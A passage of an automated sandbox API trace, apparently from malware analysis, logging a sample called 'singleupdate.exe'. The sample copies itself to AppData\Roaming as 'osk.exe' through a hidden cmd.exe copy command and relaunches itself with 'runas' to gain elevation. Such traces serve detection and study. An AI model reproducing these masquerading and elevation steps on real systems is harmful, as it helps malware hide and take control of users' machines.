returned 0 [0168.710] GlobalHandle (pMem=0x3c8a748) returned 0x2150004 [0168.710] GlobalUnlock (hMem=0x2150004) returned 0 [0168.711] GlobalLock (hMem=0x2150004) returned 0x3c88738 [0168.711] GlobalHandle (pMem=0x3c88738) returned 0x2150004 [0168.711] GlobalUnlock (hMem=0x2150004) returned 0 [0168.711] GlobalLock (hMem=0x2150004) returned 0x3c88738 [0168.711] GlobalLock (hMem=0x215000c) returned 0x3c8a748 [0168.711] GlobalHandle (pMem=0x3c88738) returned 0x2150004 [0168.711] GlobalUnlock (hMem=0x2150004) returned 0 [0168.711] GlobalHandle (pMem=0x3c8a748) returned 0x215000c [0168.711] GlobalUnlock (hMem=0x215000c) returned 0 [0168.711] GlobalLock (hMem=0x215000c) returned 0x3c88738 [0168.711] GlobalHandle (pMem=0x3c88738) returned 0x215000c [0168.711] GlobalUnlock (hMem=0x215000c) returned 0 [0168.711] GlobalLock (hMem=0x215000c) returned 0x3c88738 [0168.711] GlobalLock (hMem=0x2150004) returned 0x3c8a748 [0168.711] GlobalHandle (pMem=0x3c88738) returned 0x215000c [0168.711] GlobalUnlock (hMem=0x215000c) returned 0 [0168.711] GlobalHandle (pMem=0x3c8a748) returned 0x2150004 [0168.711] GlobalUnlock (hMem=0x2150004) returned 0 [0168.711] GlobalLock (hMem=0x2150004) returned 0x3c88738 [0168.711] GlobalHandle (pMem=0x3c88738) returned 0x2150004 [0168.711] GlobalUnlock (hMem=0x2150004) returned 0 [0168.711] GlobalLock (hMem=0x2150004) returned 0x3c88738 [0168.711] GlobalLock (hMem=0x215000c) returned 0x3c8a748 [0168.711] GlobalHandle (pMem=0x3c88738) returned 0x2150004 [0168.711] GlobalUnlock (hMem=0x2150004) returned 0 [0168.711] GlobalHandle (pMem=0x3c8a748) returned 0x215000c [0168.712] GlobalUnlock (hMem=0x215000c) returned 0 [0168.712] GlobalLock (hMem=0x215000c) returned 0x3c88738 [0168.712] GlobalHandle (pMem=0x3c88738) returned 0x215000c [0168.712] GlobalUnlock (hMem=0x215000c) returned 0 [0168.712] GlobalLock (hMem=0x215000c) returned 0x3c88738 [0168.712] GlobalLock (hMem=0x2150004) returned 0x3c8a748 [0168.712] GlobalHandle (pMem=0x3c88738) returned 0x215000c [0168.712] GlobalUnlock (hMem=0x215000c) returned 0 [0168.712] GlobalHandle (pMem=0x3c8a748) returned 0x2150004 [0168.712] GlobalUnlock (hMem=0x2150004) returned 0 [0168.712] GlobalLock (hMem=0x2150004) returned 0x3c88738 [0168.712] GlobalHandle (pMem=0x3c88738) returned 0x2150004 [0168.712] GlobalUnlock (hMem=0x2150004) returned 0 [0168.712] GlobalLock (hMem=0x2150004) returned 0x3c88738 [0168.712] GlobalLock (hMem=0x215000c) returned 0x3c8a748 [0168.712] GlobalHandle (pMem=0x3c88738) returned 0x2150004 [0168.712] GlobalUnlock (hMem=0x2150004) returned 0 [0168.712] GlobalHandle (pMem=0x3c8a748) returned 0x215000c [0168.712] GlobalUnlock (hMem=0x215000c) returned 0 [0168.712] GlobalLock (hMem=0x215000c) returned 0x3c88738 [0168.712] GlobalHandle (pMem=0x3c88738) returned 0x215000c [0168.712] GlobalUnlock (hMem=0x215000c) returned 0 [0168.712] GlobalLock (hMem=0x215000c) returned 0x3c88738 [0168.712] GlobalLock (hMem=0x2150004) returned 0x3c8a748 [0168.712] GlobalHandle (pMem=0x3c88738) returned 0x215000c [0168.712] GlobalUnlock (hMem=0x215000c) returned 0 [0168.712] GlobalHandle (pMem=0x3c8a748) returned 0x2150004 [0168.712] GlobalUnlock (hMem=0x2150004) returned 0 [0168.712] GlobalLock (hMem=0x2150004) returned 0x3c88738 [0168.712] GlobalHandle (pMem=0x3c88738) returned 0x2150004 [0168.712] GlobalUnlock (hMem=0x2150004) returned 0 [0168.712] GlobalLock (hMem=0x2150004) returned 0x3c88738 [0168.713] GlobalLock (hMem=0x215000c) returned 0x3c8a748 [0168.713] GlobalHandle (pMem=0x3c88738) returned 0x2150004 [0168.713] GlobalUnlock (hMem=0x2150004) returned 0 [0168.713] GlobalHandle (pMem=0x3c8a748) returned 0x215000c [0168.713] GlobalUnlock (hMem=0x215000c) returned 0 [0168.713] GlobalLock (hMem=0x215000c) returned 0x3c88738 [0168.713] GlobalHandle (pMem=0x3c88738) returned 0x215000c [0168.713] GlobalUnlock (hMem=0x215000c) returned 0 [0168.713] GlobalLock (hMem=0x215000c) returned 0x3c88738 [0168.713] GlobalLock (hMem=0x2150004) returned 0x3c8a748 [0168.713] GlobalHandle (pMem=0x3c88738) returned 0x215000c [0168.713] GlobalUnlock (hMem=0x215000c) returned 0 [0168.713] GlobalHandle (pMem=0x3c8a748) returned 0x2150004 [0168.713] GlobalUnlock (hMem=0x2150004) returned 0 [0168.713] GlobalLock (hMem=0x2150004) returned 0x3c88738 [0168.713] GlobalHandle (pMem=0x3c88738) returned 0x2150004 [0168.713] GlobalUnlock (hMem=0x2150004) returned 0 [0168.713] GlobalLock (hMem=0x2150004) returned 0x3c88738 [0168.713] GlobalLock (hMem=0x215000c) returned 0x3c8a748 [0168.713] GlobalHandle (pMem=0x3c88738) returned 0x2150004 [0168.713] GlobalUnlock (hMem=0x2150004) returned 0 [0168.713] GlobalHandle (pMem=0x3c8a748) returned 0x215000c [0168.713] GlobalUnlock (hMem=0x215000c) returned 0 [0168.713] GlobalLock (hMem=0x215000c) returned 0x3c88738 [0168.713] GlobalHandle (pMem=0x3c88738) returned 0x215000c [0168.713] GlobalUnlock (hMem=0x215000c) returned 0 [0168.713] GlobalLock (hMem=0x215000c) returned 0x3c88738 [0168.713] GlobalLock (hMem=0x2150004) returned 0x3c8a748 [0168.713] GlobalHandle (pMem=0x3c88738) returned 0x215000c [0168.713] GlobalUnlock (hMem=0x215000c) returned 0 [0168.713] GlobalHandle (pMem=0x3c8a748) returned 0x2150004 [0168.713] GlobalUnlock (hMem=0x2150004) returned 0 [0168.714] SHGetMalloc (in: ppMalloc=0x19f134 | out: ppMalloc=0x19f134*=0x75e4d000) returned 0x0 [0168.714] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=26, ppidl=0x19f130 | out: ppidl=0x19f130) returned 0x0 [0168.997] SHGetPathFromIDListW (in: pidl=0x890398, pszPath=0x3c8ad04 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 1 [0168.997] SysReAllocStringLen (in: pbstr=0x19f15c*=0x0, psz="C:\\Users\\FD1HVy\\AppData\\Roaming", len=0x1f | out: pbstr=0x19f15c*="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 1 [0168.997] IMalloc:Free (This=0x75e4d000, pv=0x890398) [0168.997] IUnknown:AddRef (This=0x75e4d000) returned 0x1 [0168.998] SysReAllocStringLen (in: pbstr=0x438208*=0x0, psz="C:\\Users\\FD1HVy\\AppData\\Roaming", len=0x1f | out: pbstr=0x438208*="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 1 [0168.998] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3ee98b8, cbMultiByte=7, lpWideCharStr=0x19e130, cchWideChar=2047 | out: lpWideCharStr="osk.exez뤠男஭") returned 7 [0168.998] GlobalLock (hMem=0x2150004) returned 0x3c8af18 [0168.998] GlobalHandle (pMem=0x3c8af18) returned 0x2150004 [0168.998] GlobalUnlock (hMem=0x2150004) returned 0 [0168.998] GlobalLock (hMem=0x2150004) returned 0x3c8af18 [0168.998] GlobalLock (hMem=0x215000c) returned 0x3c8cf28 [0168.998] GlobalHandle (pMem=0x3c8af18) returned 0x2150004 [0168.998] GlobalUnlock (hMem=0x2150004) returned 0 [0168.998] GlobalHandle (pMem=0x3c8cf28) returned 0x215000c [0168.998] GlobalUnlock (hMem=0x215000c) returned 0 [0168.998] GlobalLock (hMem=0x215000c) returned 0x3c8af18 [0168.998] GlobalHandle (pMem=0x3c8af18) returned 0x215000c [0168.998] GlobalUnlock (hMem=0x215000c) returned 0 [0168.998] GlobalLock (hMem=0x215000c) returned 0x3c8af18 [0168.998] GlobalLock (hMem=0x2150004) returned 0x3c8cf28 [0168.998] GlobalHandle (pMem=0x3c8af18) returned 0x215000c [0168.998] GlobalUnlock (hMem=0x215000c) returned 0 [0168.999] GlobalHandle (pMem=0x3c8cf28) returned 0x2150004 [0168.999] GlobalUnlock (hMem=0x2150004) returned 0 [0168.999] GlobalLock (hMem=0x2150004) returned 0x3c8af18 [0168.999] GlobalHandle (pMem=0x3c8af18) returned 0x2150004 [0168.999] GlobalUnlock (hMem=0x2150004) returned 0 [0168.999] GlobalLock (hMem=0x2150004) returned 0x3c8af18 [0168.999] GlobalLock (hMem=0x215000c) returned 0x3c8cf28 [0168.999] GlobalHandle (pMem=0x3c8af18) returned 0x2150004 [0168.999] GlobalUnlock (hMem=0x2150004) returned 0 [0168.999] GlobalHandle (pMem=0x3c8cf28) returned 0x215000c [0168.999] GlobalUnlock (hMem=0x215000c) returned 0 [0168.999] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\shwlwook", ulOptions=0x0, samDesired=0x20019, phkResult=0x19f200 | out: phkResult=0x19f200*=0x0) returned 0x2 [0169.076] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpFindFileData=0x19efc4 | out: lpFindFileData=0x19efc4) returned 0xffffffff [0169.077] GetLastError () returned 0x2 [0169.077] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x19f008, nSize=0x20a | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\singleupdate.exe")) returned 0x28 [0169.077] GlobalLock (hMem=0x215000c) returned 0x3c8af18 [0169.077] GlobalHandle (pMem=0x3c8af18) returned 0x215000c [0169.077] GlobalUnlock (hMem=0x215000c) returned 0 [0169.077] GlobalLock (hMem=0x215000c) returned 0x3c8af18 [0169.077] GlobalLock (hMem=0x2150004) returned 0x3c8cf28 [0169.077] GlobalHandle (pMem=0x3c8af18) returned 0x215000c [0169.077] GlobalUnlock (hMem=0x215000c) returned 0 [0169.077] GlobalHandle (pMem=0x3c8cf28) returned 0x2150004 [0169.077] GlobalUnlock (hMem=0x2150004) returned 0 [0169.078] SysReAllocStringLen (in: pbstr=0x19f1b4*=0x0, psz="/c copy /y \"@\" \"#\"", len=0x12 | out: pbstr=0x19f1b4*="/c copy /y \"@\" \"#\"") returned 1 [0169.078] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="/c copy /y \"@\" \"#\"", cchWideChar=18, lpMultiByteStr=0x19e180, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="/c copy /y \"@\" \"#\"|", lpUsedDefaultChar=0x0) returned 18 [0169.078] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x19e17c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@ñ\x19", lpUsedDefaultChar=0x0) returned 1 [0169.078] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="\" \"#\"", cchWideChar=5, lpMultiByteStr=0x19e180, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\" \"#\"py /y \"@\" \"#\"|", lpUsedDefaultChar=0x0) returned 5 [0169.078] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x19e17c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@ñ\x19", lpUsedDefaultChar=0x0) returned 1 [0169.078] SysReAllocStringLen (in: pbstr=0x19f208*=0x0, psz="/c copy /y \"C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe\" \"#\"", len=0x39 | out: pbstr=0x19f208*="/c copy /y \"C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe\" \"#\"") returned 1 [0169.078] SysReAllocStringLen (in: pbstr=0x19f210*="/c copy /y \"@\" \"#\"", psz="/c copy /y \"C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe\" \"#\"", len=0x39 | out: pbstr=0x19f210*="/c copy /y \"C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe\" \"#\"") returned 1 [0169.079] SysReAllocStringLen (in: pbstr=0x19f1b4*=0x0, psz="/c copy /y \"C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe\" \"#\"", len=0x39 | out: pbstr=0x19f1b4*="/c copy /y \"C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe\" \"#\"") returned 1 [0169.079] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="/c copy /y \"C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe\" \"#\"", cchWideChar=57, lpMultiByteStr=0x19e180, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="/c copy /y \"C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe\" \"#\"M@", lpUsedDefaultChar=0x0) returned 57 [0169.079] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="#", cchWideChar=1, lpMultiByteStr=0x19e17c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="#ñ\x19", lpUsedDefaultChar=0x0) returned 1 [0169.079] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="\"", cchWideChar=1, lpMultiByteStr=0x19e180, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\"ñ\x19", lpUsedDefaultChar=0x0) returned 1 [0169.079] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="#", cchWideChar=1, lpMultiByteStr=0x19e17c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="#ñ\x19", lpUsedDefaultChar=0x0) returned 1 [0169.079] SysReAllocStringLen (in: pbstr=0x19f204*=0x0, psz="/c copy /y \"C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe\" \"C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe\"", len=0x5f | out: pbstr=0x19f204*="/c copy /y \"C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe\" \"C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe\"") returned 1 [0169.079] SysReAllocStringLen (in: pbstr=0x19f210*="/c copy /y \"C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe\" \"#\"", psz="/c copy /y \"C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe\" \"C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe\"", len=0x5f | out: pbstr=0x19f210*="/c copy /y \"C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe\" \"C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe\"") returned 1 [0169.079] GlobalLock (hMem=0x2150004) returned 0x3c8bf20 [0169.079] GlobalHandle (pMem=0x3c8bf20) returned 0x2150004 [0169.079] GlobalUnlock (hMem=0x2150004) returned 0 [0169.080] GlobalLock (hMem=0x2150004) returned 0x3c8bf20 [0169.080] GlobalLock (hMem=0x215000c) returned 0x3c8df30 [0169.080] GlobalHandle (pMem=0x3c8bf20) returned 0x2150004 [0169.080] GlobalUnlock (hMem=0x2150004) returned 0 [0169.080] GlobalHandle (pMem=0x3c8df30) returned 0x215000c [0169.080] GlobalUnlock (hMem=0x215000c) returned 0 [0169.080] GetEnvironmentVariableA (in: lpName="COMSPEC", lpBuffer=0x19edc0, nSize=0x400 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0169.080] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3ecccf0, cbMultiByte=27, lpWideCharStr=0x19e1c0, cchWideChar=2047 | out: lpWideCharStr="C:\\WINDOWS\\system32\\cmd.exe") returned 27 [0169.080] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"C:\\WINDOWS\\system32\\cmd.exe\" /c copy /y \"C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe\" \"C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x30, lpEnvironment=0x0, lpCurrentDirectory="C:\\WINDOWS\\system32\\", lpStartupInfo=0x19f184*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x19f174 | out: lpCommandLine="\"C:\\WINDOWS\\system32\\cmd.exe\" /c copy /y \"C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe\" \"C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe\"", lpProcessInformation=0x19f174*(hProcess=0x35c, hThread=0x354, dwProcessId=0xa8c, dwThreadId=0x714)) returned 1 [0169.753] WaitForSingleObject (hHandle=0x35c, dwMilliseconds=0xffffffff) returned 0x0 [0181.151] CloseHandle (hObject=0x35c) returned 1 [0181.151] CloseHandle (hObject=0x354) returned 1 [0181.152] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpFindFileData=0x19ef74 | out: lpFindFileData=0x19ef74) returned 0x7ca318 [0181.152] FileTimeToLocalFileTime (in: lpFileTime=0x19ef88, lpLocalFileTime=0x19ef08 | out: lpLocalFileTime=0x19ef08) returned 1 [0181.152] FileTimeToDosDateTime (in: lpFileTime=0x19ef08, lpFatDate=0x19ef56, lpFatTime=0x19ef54 | out: lpFatDate=0x19ef56, lpFatTime=0x19ef54) returned 1 [0181.152] FindClose (in: hFindFile=0x7ca318 | out: hFindFile=0x7ca318) returned 1 [0181.152] GetCommandLineA () returned="\"C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe\" " [0181.155] GlobalLock (hMem=0x215000c) returned 0x3c8cdf0 [0181.155] GlobalHandle (pMem=0x3c8cdf0) returned 0x215000c [0181.155] GlobalUnlock (hMem=0x215000c) returned 0 [0181.155] GlobalLock (hMem=0x215000c) returned 0x3c8cdf0 [0181.155] GlobalLock (hMem=0x2150004) returned 0x3c8ee00 [0181.155] GlobalHandle (pMem=0x3c8cdf0) returned 0x215000c [0181.155] GlobalUnlock (hMem=0x215000c) returned 0 [0181.155] GlobalHandle (pMem=0x3c8ee00) returned 0x2150004 [0181.155] GlobalUnlock (hMem=0x2150004) returned 0 [0181.155] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x19efdc, nSize=0x20a | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\singleupdate.exe")) returned 0x28 [0181.155] GlobalLock (hMem=0x2150004) returned 0x3c8cdf0 [0181.155] GlobalHandle (pMem=0x3c8cdf0) returned 0x2150004 [0181.155] GlobalUnlock (hMem=0x2150004) returned 0 [0181.155] GlobalLock (hMem=0x2150004) returned 0x3c8cdf0 [0181.155] GlobalLock (hMem=0x215000c) returned 0x3c8ee00 [0181.155] GlobalHandle (pMem=0x3c8cdf0) returned 0x2150004 [0181.155] GlobalUnlock (hMem=0x2150004) returned 0 [0181.156] GlobalHandle (pMem=0x3c8ee00) returned 0x215000c [0181.156] GlobalUnlock (hMem=0x215000c) returned 0 [0181.156] ShellExecuteW (hwnd=0x0, lpOperation="runas", lpFile="C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe", lpParameters="runas", lpDirectory=0x0, nShowCmd=1) returned 0x2a [0183.884] ExitProcess (uExitCode=0x0) Thread: id = 2 os_tid = 0xe5c Thread: id = 3 os_tid = 0x210 Thread: id = 4 os_tid = 0xbec Thread: id = 5 os_tid = 0xb08 Thread: id = 8 os_tid = 0xa70 Thread: id = 9 os_tid = 0xfc8 Thread: id = 15 os_tid = 0xe38 Thread: id = 16 os_tid = 0x4f0 Process: id = "2" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x18ae4000" os_pid = "0xa8c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xfa0" cmd_line = "\"C:\\WINDOWS\\system32\\cmd.exe\" /c copy /y \"C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe\" \"C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe\"" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 6 os_tid = 0x714 [0178.643] GetModuleHandleA (lpModuleName=0x0) returned 0xc00000 [0178.643] __set_app_type (_Type=0x1) [0178.643] __p__fmode () returned 0x77ae3c14 [0178.643] __p__commode () returned 0x77ae49ec [0178.644] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xc16fd0) returned 0x0 [0178.644] __getmainargs (in: _Argc=0xc2d1a4, _Argv=0xc2d1a8, _Env=0xc2d1ac, _DoWildCard=0, _StartInfo=0xc2d1b8 | out: _Argc=0xc2d1a4, _Argv=0xc2d1a8, _Env=0xc2d1ac) returned 0 [0178.644] _onexit (_Func=0xc18030) returned 0xc18030 [0178.644] _onexit (_Func=0xc18040) returned 0xc18040 [0178.644] _onexit (_Func=0xc18050) returned 0xc18050 [0178.644] _onexit (_Func=0xc18060) returned 0xc18060 [0178.644] _onexit (_Func=0xc18070) returned 0xc18070 [0178.645] _onexit (_Func=0xc18080) returned 0xc18080 [0178.645] GetCurrentThreadId () returned 0x714 [0178.645] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x714) returned 0xbc [0178.646] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0178.646] GetProcAddress (hModule=0x75e90000, lpProcName="SetThreadUILanguage") returned 0x75ea4f70 [0178.646] SetThreadUILanguage (LangId=0x0) returned 0x8a0409 [0178.744] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0178.744] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0xaffeac | out: phkResult=0xaffeac*=0x0) returned 0x2 [0178.744] VirtualQuery (in: lpAddress=0xaffeb7, lpBuffer=0xaffe64, dwLength=0x1c | out: lpBuffer=0xaffe64*(BaseAddress=0xaff000, AllocationBase=0xa00000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0178.744] VirtualQuery (in: lpAddress=0xa00000, lpBuffer=0xaffe64, dwLength=0x1c | out: lpBuffer=0xaffe64*(BaseAddress=0xa00000, AllocationBase=0xa00000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0178.744] VirtualQuery (in: lpAddress=0xa01000, lpBuffer=0xaffe64, dwLength=0x1c | out: lpBuffer=0xaffe64*(BaseAddress=0xa01000, AllocationBase=0xa00000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0178.744] VirtualQuery (in: lpAddress=0xa03000, lpBuffer=0xaffe64, dwLength=0x1c | out: lpBuffer=0xaffe64*(BaseAddress=0xa03000, AllocationBase=0xa00000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0178.744] VirtualQuery (in: lpAddress=0xb00000, lpBuffer=0xaffe64, dwLength=0x1c | out: lpBuffer=0xaffe64*(BaseAddress=0xb00000, AllocationBase=0xb00000, AllocationProtect=0x2, RegionSize=0xc5000, State=0x1000, Protect=0x2, Type=0x40000)) returned 0x1c [0178.744] GetConsoleOutputCP () returned 0x1b5 [0178.841] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xc33850 | out: lpCPInfo=0xc33850) returned 1 [0178.842] SetConsoleCtrlHandler (HandlerRoutine=0xc27260, Add=1) returned 1 [0178.842] _get_osfhandle (_FileHandle=1) returned 0x90 [0178.842] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xc3388c | out: lpMode=0xc3388c) returned 1 [0179.003] _get_osfhandle (_FileHandle=0) returned 0x8c [0179.003] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xc33888 | out: lpMode=0xc33888) returned 1 [0179.118] _get_osfhandle (_FileHandle=1) returned 0x90 [0179.118] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x0) returned 1 [0179.209] _get_osfhandle (_FileHandle=1) returned 0x90 [0179.209] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xc33890 | out: lpMode=0xc33890) returned 1 [0179.296] _get_osfhandle (_FileHandle=1) returned 0x90 [0179.296] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x7) returned 1 [0179.374] _get_osfhandle (_FileHandle=0) returned 0x8c [0179.374] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xc33894 | out: lpMode=0xc33894) returned 1 [0179.468] _get_osfhandle (_FileHandle=0) returned 0x8c [0179.468] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1e7) returned 1 [0179.561] GetEnvironmentStringsW () returned 0x2d04c68* [0179.561] GetProcessHeap () returned 0x2d00000 [0179.561] RtlAllocateHeap (HeapHandle=0x2d00000, Flags=0x8, Size=0xaca) returned 0x2d05740 [0179.561] FreeEnvironmentStringsA (penv="A") returned 1 [0179.561] GetProcessHeap () returned 0x2d00000 [0179.562] RtlAllocateHeap (HeapHandle=0x2d00000, Flags=0x8, Size=0x4) returned 0x2d04748 [0179.562] GetEnvironmentStringsW () returned 0x2d04c68* [0179.562] GetProcessHeap () returned 0x2d00000 [0179.562] RtlAllocateHeap (HeapHandle=0x2d00000, Flags=0x8, Size=0xaca) returned 0x2d06218 [0179.562] FreeEnvironmentStringsA (penv="A") returned 1 [0179.562] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xafee08 | out: phkResult=0xafee08*=0xcc) returned 0x0 [0179.562] RegQueryValueExW (in: hKey=0xcc, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xafee10, lpData=0xafee14, lpcbData=0xafee0c*=0x1000 | out: lpType=0xafee10*=0x0, lpData=0xafee14*=0x98, lpcbData=0xafee0c*=0x1000) returned 0x2 [0179.562] RegQueryValueExW (in: hKey=0xcc, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xafee10, lpData=0xafee14, lpcbData=0xafee0c*=0x1000 | out: lpType=0xafee10*=0x4, lpData=0xafee14*=0x1, lpcbData=0xafee0c*=0x4) returned 0x0 [0179.562] RegQueryValueExW (in: hKey=0xcc, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xafee10, lpData=0xafee14, lpcbData=0xafee0c*=0x1000 | out: lpType=0xafee10*=0x0, lpData=0xafee14*=0x1, lpcbData=0xafee0c*=0x1000) returned 0x2 [0179.562] RegQueryValueExW (in: hKey=0xcc, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xafee10, lpData=0xafee14, lpcbData=0xafee0c*=0x1000 | out: lpType=0xafee10*=0x4, lpData=0xafee14*=0x0, lpcbData=0xafee0c*=0x4) returned 0x0 [0179.562] RegQueryValueExW (in: hKey=0xcc, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xafee10, lpData=0xafee14, lpcbData=0xafee0c*=0x1000 | out: lpType=0xafee10*=0x4, lpData=0xafee14*=0x40, lpcbData=0xafee0c*=0x4) returned 0x0 [0179.562] RegQueryValueExW (in: hKey=0xcc, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xafee10, lpData=0xafee14, lpcbData=0xafee0c*=0x1000 | out: lpType=0xafee10*=0x4, lpData=0xafee14*=0x40, lpcbData=0xafee0c*=0x4) returned 0x0 [0179.562] RegQueryValueExW (in: hKey=0xcc, lpValueName="AutoRun", lpReserved=0x0, lpType=0xafee10, lpData=0xafee14, lpcbData=0xafee0c*=0x1000 | out: lpType=0xafee10*=0x0, lpData=0xafee14*=0x40, lpcbData=0xafee0c*=0x1000) returned 0x2 [0179.562] RegCloseKey (hKey=0xcc) returned 0x0 [0179.562] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xafee08 | out: phkResult=0xafee08*=0xcc) returned 0x0 [0179.562] RegQueryValueExW (in: hKey=0xcc, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xafee10, lpData=0xafee14, lpcbData=0xafee0c*=0x1000 | out: lpType=0xafee10*=0x0, 